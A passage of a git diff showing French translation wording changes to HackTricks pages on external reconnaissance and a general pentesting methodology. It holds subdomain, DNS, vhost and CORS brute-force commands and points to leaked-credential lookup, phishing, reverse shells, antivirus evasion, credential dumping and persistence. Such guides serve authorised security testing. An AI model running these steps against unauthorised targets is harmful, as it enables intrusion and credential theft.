trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ +Si vous trouvez un **domaine avec une IP différente** de ceux que vous avez déjà trouvés dans la découverte des actifs, vous devriez effectuer une **analyse de vulnérabilité de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. En fonction des services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\ _Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._ \ @@ -295,7 +295,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Machine à remonter le temps et de Common Crawl pour un domaine donné. +* [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -328,15 +328,15 @@ python3 DomainTrail.py -d example.com * [**securitytrails.com**](https://securitytrails.com/) propose une API gratuite pour rechercher des sous-domaines et l'historique des adresses IP * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -Ce projet offre **gratuitement tous les sous-domaines liés aux programmes de bug bounty**. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Ce projet offre gratuitement tous les sous-domaines liés aux programmes de bug bounty. Vous pouvez accéder à ces données également en utilisant [chaospy](https://github.com/dr-0x0x/chaospy) ou même accéder au périmètre utilisé par ce projet [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -Vous pouvez trouver une **comparaison** de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +Vous pouvez trouver une comparaison de nombreux de ces outils ici: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **Brute force DNS** -Essayons de trouver de nouveaux **sous-domaines** en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles. +Essayons de trouver de nouveaux sous-domaines en forçant les serveurs DNS en utilisant des noms de sous-domaine possibles. -Pour cette action, vous aurez besoin de certaines **listes de mots de sous-domaines courants comme**: +Pour cette action, vous aurez besoin de listes de mots de sous-domaines courants comme: * [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) * [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -348,7 +348,7 @@ Et aussi des adresses IP de bons résolveurs DNS. Pour générer une liste de r Les outils les plus recommandés pour le brute force DNS sont: -* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil qui a effectué un brute force DNS efficace. Il est très rapide mais il est sujet aux faux positifs. +* [**massdns**](https://github.com/blechschmidt/massdns): C'était le premier outil à effectuer un brute force DNS efficace. Il est très rapide mais sujet aux faux positifs. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt @@ -358,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est une enveloppe autour de `massdns`, écrite en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile. +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) est un wrapper autour de `massdns`, écrit en go, qui vous permet d'énumérer les sous-domaines valides en utilisant la force brute active, ainsi que de résoudre les sous-domaines avec la gestion des wildcards et un support d'entrée-sortie facile. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -366,7 +366,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone des noms de domaine. +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilise asyncio pour forcer de manière asynchrone les noms de domaine. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -374,7 +374,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et la force brute, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cette fin : -* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** : ** Étant donné les domaines et sous-domaines, générer des permutations. +* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)** :** À partir des domaines et sous-domaines donnés, générer des permutations. ```bash cat subdomains.txt | dnsgen - ``` @@ -392,17 +392,17 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil forcera le résultat (il ne prend pas en charge les wildcards DNS). +* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil effectuera une attaque en force sur le résultat (il ne prend pas en charge les wildcards DNS). * Vous pouvez obtenir la liste de mots de permutations de dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** en fonction des modèles indiqués pour essayer de découvrir plus de sous-domaines. +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basé sur un domaine, il **génère de nouveaux noms de sous-domaines potentiels** basés sur des modèles indiqués pour essayer de découvrir plus de sous-domaines. #### Génération intelligente de permutations -* [**regulator**](https://github.com/cramppet/regulator) : Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. +* [**regulator**](https://github.com/cramppet/regulator): Pour plus d'informations, consultez ce [**post**](https://cramppet.github.io/regulator/index.html) mais il va essentiellement obtenir les **parties principales** des **sous-domaines découverts** et les mélanger pour trouver plus de sous-domaines. ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute @@ -414,7 +414,7 @@ echo www | subzuf facebook.com ``` ### **Workflow de découverte de sous-domaines** -Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **workflows Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur : +Consultez ce billet de blog que j'ai écrit sur la façon d'**automatiser la découverte de sous-domaines** à partir d'un domaine en utilisant des **flux de travail Trickest** afin de ne pas avoir à lancer manuellement une série d'outils sur mon ordinateur : {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -426,7 +426,7 @@ Si vous trouvez une adresse IP contenant **une ou plusieurs pages web** apparten #### OSINT -Vous pouvez trouver certains **VHosts dans les IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**. +Vous pouvez trouver certains **VHosts dans des IPs en utilisant** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ou d'autres APIs**. **Brute Force** @@ -448,7 +448,7 @@ VHostScan -t example.com Avec cette technique, vous pourriez même être en mesure d'accéder à des endpoints internes/cachés. {% endhint %} -### **CORS Brute Force** +### **Brute Force CORS** Parfois, vous trouverez des pages qui ne renvoient que l'en-tête _**Access-Control-Allow-Origin**_ lorsque qu'un domaine/sous-domaine valide est défini dans l'en-tête _**Origin**_. Dans ces scénarios, vous pouvez abuser de ce comportement pour **découvrir** de nouveaux **sous-domaines**. ```bash @@ -456,12 +456,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ``` ### **Forçage de seaux** -En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un **seau** de quelque type que ce soit, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +En cherchant des **sous-domaines**, gardez un œil pour voir s'ils pointent vers un type de **seau**, et dans ce cas, [**vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**forcer les noms de seau possibles et vérifiez les autorisations**](../../network-services-pentesting/pentesting-web/buckets/). ### **Surveillance** -Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** que [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) fait. +Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont créés en surveillant les **logs de transparence des certificats** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) le fait. ### **Recherche de vulnérabilités** @@ -484,7 +484,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc ### **Recherche de vulnérabilités** -**Analysez tous les IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. +**Analysez tous les IPs qui n'appartiennent pas à des CDN** (car vous ne trouverez probablement rien d'intéressant là-dedans). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**. **Trouvez un** [**guide**](../pentesting-network/) **sur la façon de scanner les hôtes.** @@ -494,7 +494,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs Web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs Web** dans le périmètre. -Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer la recherche de vulnérabilités** et **le scan de ports** également (**si autorisé** par le périmètre). +Veuillez noter que cela sera **orienté vers la découverte d'applications Web**, donc vous devriez également **effectuer l'analyse de vulnérabilité** et le **scan de ports** également (**si autorisé** par le périmètre). Une **méthode rapide** pour découvrir les **ports ouverts** liés aux **serveurs web** en utilisant [**masscan** peut être trouvée ici](../pentesting-network/#http-port-discovery).\ Un autre outil convivial pour rechercher des serveurs Web est [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) et [**httpx**](https://github.com/projectdiscovery/httpx). Vous passez simplement une liste de domaines et il essaiera de se connecter aux ports 80 (http) et 443 (https). De plus, vous pouvez indiquer d'essayer d'autres ports: @@ -512,7 +512,7 @@ De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/Bisho ## Actifs Cloud Publics -Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaine">`. +Pour trouver des actifs cloud potentiels appartenant à une entreprise, vous devriez **commencer par une liste de mots-clés identifiant cette entreprise**. Par exemple, pour une entreprise de crypto, vous pourriez utiliser des mots tels que : `"crypto", "wallet", "dao", "", <"noms_de_sous-domaines">`. Vous aurez également besoin de listes de mots **couramment utilisés dans les buckets** : @@ -532,7 +532,7 @@ Si vous trouvez des éléments tels que des **buckets ou des fonctions cloud ouv ## E-mails -Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous **avez besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : +Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : * [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs * API de [**https://hunter.io/**](https://hunter.io/) (version gratuite) @@ -545,14 +545,14 @@ Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et le ## Fuites d'identifiants -Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont fuité dans le passé appartenant à ces e-mails : +Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont été divulgués dans le passé appartenant à ces e-mails : * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Recherche de vulnérabilités** -Si vous trouvez des identifiants qui ont fuité **valides**, c'est une victoire très facile. +Si vous trouvez des identifiants **divulgués valides**, c'est une victoire très facile. ## Fuites de secrets @@ -560,8 +560,8 @@ Les fuites d'identifiants sont liées aux piratages d'entreprises où des **info ### Fuites Github -Des identifiants et des APIs pourraient être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ -Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux. +Des identifiants et des APIs peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ +Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus. **Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**. @@ -575,22 +575,22 @@ Consultez également cette **page** pour des **dorks github potentiels** que vou ### Fuites de Pastes -Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de paste**. Cela pourrait ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ -Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps. +Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de collages**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ +Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de collages en même temps. ### Dorks Google -Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. +Les anciens mais bons dorks google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage Google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. _Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très rapidement._ ### **Recherche de vulnérabilités** -Si vous trouvez des identifiants ou des jetons API qui ont fuité **valides**, c'est une victoire très facile. +Si vous trouvez des **identifiants ou jetons API divulgués valides**, c'est une victoire très facile. ## Vulnérabilités de Code Public -Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités** dessus. +Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**. **Selon le langage**, il existe différents **outils** que vous pouvez utiliser : @@ -603,7 +603,7 @@ Il existe également des services gratuits qui vous permettent de **scanner des * [**Snyk**](https://app.snyk.io/) ## [**Méthodologie de test d'application Web**](../../network-services-pentesting/pentesting-web/) -La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/). +La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/). Je tiens également à mentionner la section [**Outils open source de scanners automatiques Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, même si vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales.** @@ -619,9 +619,9 @@ Donc, vous avez déjà : 4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?) 5. Trouvé tous les **IP** (à partir et **non à partir de CDN**) dans le périmètre. 6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?) -7. Trouvé tous les **actifs potentiels dans le cloud public** appartenant à l'entreprise. +7. Trouvé tous les **actifs publics potentiels dans le cloud** appartenant à l'entreprise. 8. **Emails**, **fuites d'identifiants**, et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**. -9. **Testé en pentestant tous les sites web que vous avez trouvés** +9. **Tester en pentestant tous les sites web que vous avez trouvés** ## **Outils automatiques de reconnaissance complets** @@ -636,9 +636,9 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co * Tous les cours gratuits de [**@Jhaddix**](https://twitter.com/Jhaddix) comme [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). +Si vous êtes intéressé par une **carrière en hacking** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index cc109b1c4..126222596 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.** -
+
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). @@ -28,7 +28,7 @@ _Logos Hacktricks conçus par_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- Attaques Physiques -Avez-vous **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/). +Avez-vous un **accès physique** à la machine que vous souhaitez attaquer ? Vous devriez lire quelques [**astuces sur les attaques physiques**](../physical-attacks/physical-attacks.md) et d'autres sur [**l'évasion des applications GUI**](../physical-attacks/escaping-from-gui-applications/). ### 1 - [Découverte des hôtes à l'intérieur du réseau](pentesting-network/#discovering-hosts)/ [Découverte des actifs de l'entreprise](external-recon-methodology/) @@ -45,7 +45,7 @@ Avant d'attaquer un hôte, vous préférerez peut-être **voler des identifiants ### 3- [Balayage de ports - Découverte de services](pentesting-network/#scanning-hosts) -La première chose à faire lorsque vous cherchez des vulnérabilités dans un hôte est de savoir quels **services sont en cours d'exécution sur quels ports**. Voyons les [**outils de base pour balayer les ports des hôtes**](pentesting-network/#scanning-hosts). +La première chose à faire lorsque vous **cherchez des vulnérabilités dans un hôte** est de savoir quels **services sont en cours d'exécution sur quels ports. Voyons les [**outils de base pour scanner les ports des hôtes**](pentesting-network/#scanning-hosts). ### **4-** [Recherche d'exploits de version de service](search-exploits.md) @@ -58,27 +58,27 @@ S'il n'y a pas d'exploit intéressant pour un service en cours d'exécution, vou **Dans ce livre, vous trouverez un guide pour pentester les services les plus courants** (et d'autres moins courants)**. Veuillez rechercher dans l'index de gauche la** _**section PENTESTING**_ **(les services sont classés par leurs ports par défaut).** **Je tiens à mentionner spécialement la partie** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(car c'est la plus étendue).**\ -Également, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici. +De plus, un petit guide sur la façon de [**trouver des vulnérabilités connues dans les logiciels**](search-exploits.md) peut être trouvé ici. -**Si votre service ne figure pas dans l'index, recherchez sur Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute**. Si vous ne **trouvez rien** sur Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a). +**Si votre service ne figure pas dans l'index, recherchez dans Google** d'autres tutoriels et **faites-moi savoir si vous souhaitez que je l'ajoute.** Si vous ne **trouvez rien** dans Google, effectuez votre **propre pentesting à l'aveugle**, vous pourriez commencer par **vous connecter au service, le fuzzing et lire les réponses** (s'il y en a). #### 5.1 Outils Automatiques Il existe également plusieurs outils qui peuvent effectuer des **évaluations automatiques des vulnérabilités**. **Je vous recommande d'essayer** [**Legion**](https://github.com/carlospolop/legion)**, qui est l'outil que j'ai créé et qui est basé sur les notes sur le pentesting des services que vous pouvez trouver dans ce livre.** -#### **5.2 Brute-Forcing des services** +#### **5.2 Brute-Force des services** Dans certains scénarios, une **attaque par force brute** pourrait être utile pour **compromettre** un **service**. [**Trouvez ici une feuille de triche de différentes attaques par force brute sur les services**](brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **pourriez avoir besoin d'essayer le phishing** pour pénétrer dans le réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/): +Si à ce stade vous n'avez trouvé aucune vulnérabilité intéressante, vous **devrez peut-être essayer un phishing** pour accéder au réseau. Vous pouvez consulter ma méthodologie de phishing [ici](phishing-methodology/): ### **7-** [**Obtention d'un Shell**](shells/) D'une manière ou d'une autre, vous devriez avoir trouvé **un moyen d'exécuter du code** sur la victime. Ensuite, [une liste d'outils possibles à l'intérieur du système que vous pouvez utiliser pour obtenir un shell inversé serait très utile](shells/). -Particulièrement sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\ +Surtout sous Windows, vous pourriez avoir besoin d'aide pour **éviter les antivirus** : [**Consultez cette page**](../windows-hardening/av-bypass.md)**.**\\ ### 8- À l'intérieur @@ -101,7 +101,7 @@ Vous devriez également consulter ces pages sur le fonctionnement de **Windows** * [**Authentification, identifiants, privilèges de jetons et UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) * Comment fonctionne **NTLM**](../windows-hardening/ntlm/) -* Comment **voler des identifiants** dans Windows +* Comment **voler des identifiants**](broken-reference/) sur Windows * Quelques astuces sur [_**Active Directory**_](../windows-hardening/active-directory-methodology/) **N'oubliez pas de consulter les meilleurs outils pour énumérer les chemins d'élévation de privilèges locaux sur Windows et Linux :** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) @@ -114,19 +114,19 @@ Ici, vous pouvez trouver une [**méthodologie expliquant les actions les plus co #### **11**.1 - Pillage -Vérifiez si vous pouvez trouver plus de **mots de passe** à l'intérieur de l'hôte ou si vous avez **accès à d'autres machines** avec les **privilèges** de votre **utilisateur**.\ +Vérifiez si vous pouvez trouver plus de **mots de passe** sur l'hôte ou si vous avez **accès à d'autres machines** avec les **privilèges** de votre **utilisateur**.\ Trouvez ici différentes façons de [**dump les mots de passe dans Windows**](broken-reference/). #### 11.2 - Persistance -**Utilisez 2 ou 3 types différents de mécanismes de persistance afin de ne pas avoir besoin d'exploiter à nouveau le système.**\ +**Utilisez 2 ou 3 types différents de mécanismes de persistance pour ne pas avoir besoin d'exploiter à nouveau le système.**\ **Ici, vous pouvez trouver quelques** [**astuces de persistance sur l'annuaire actif**](../windows-hardening/active-directory-methodology/#persistence)**.** TODO: Compléter la persistance Post dans Windows & Linux ### 12 - Pivotage -Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être avez-vous besoin de **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la Méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\ +Avec les **identifiants collectés**, vous pourriez avoir accès à d'autres machines, ou peut-être devez-vous **découvrir et scanner de nouveaux hôtes** (commencer à nouveau la méthodologie de Pentesting) à l'intérieur de nouveaux réseaux où votre victime est connectée.\ Dans ce cas, le tunneling pourrait être nécessaire. Ici, vous pouvez trouver [**un article parlant de tunneling**](tunneling-and-port-forwarding.md).\ Vous devriez également consulter l'article sur la [Méthodologie de pentesting Active Directory](../windows-hardening/active-directory-methodology/). Vous y trouverez des astuces intéressantes pour se déplacer latéralement, élever les privilèges et dump les identifiants.\ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela pourrait être très utile pour pivoter dans les environnements Windows. @@ -149,9 +149,9 @@ Consultez également la page sur [**NTLM**](../windows-hardening/ntlm/), cela po * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Oracle de rembourrage**](../cryptography/padding-oracle-priv.md) -
+
-Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). +Si vous êtes intéressé par une carrière en **piratage informatique** et pirater l'impiratable - **nous recrutons !** (_polonais écrit et parlé couramment requis_). {% embed url="https://www.stmcyber.com/careers" %} @@ -163,7 +163,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 1d14178b5..d83cf15e9 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,4 +1,4 @@ -# Évasion de sandbox Python & Pyscript +# Évasion de bac à sable Python & Pyscript
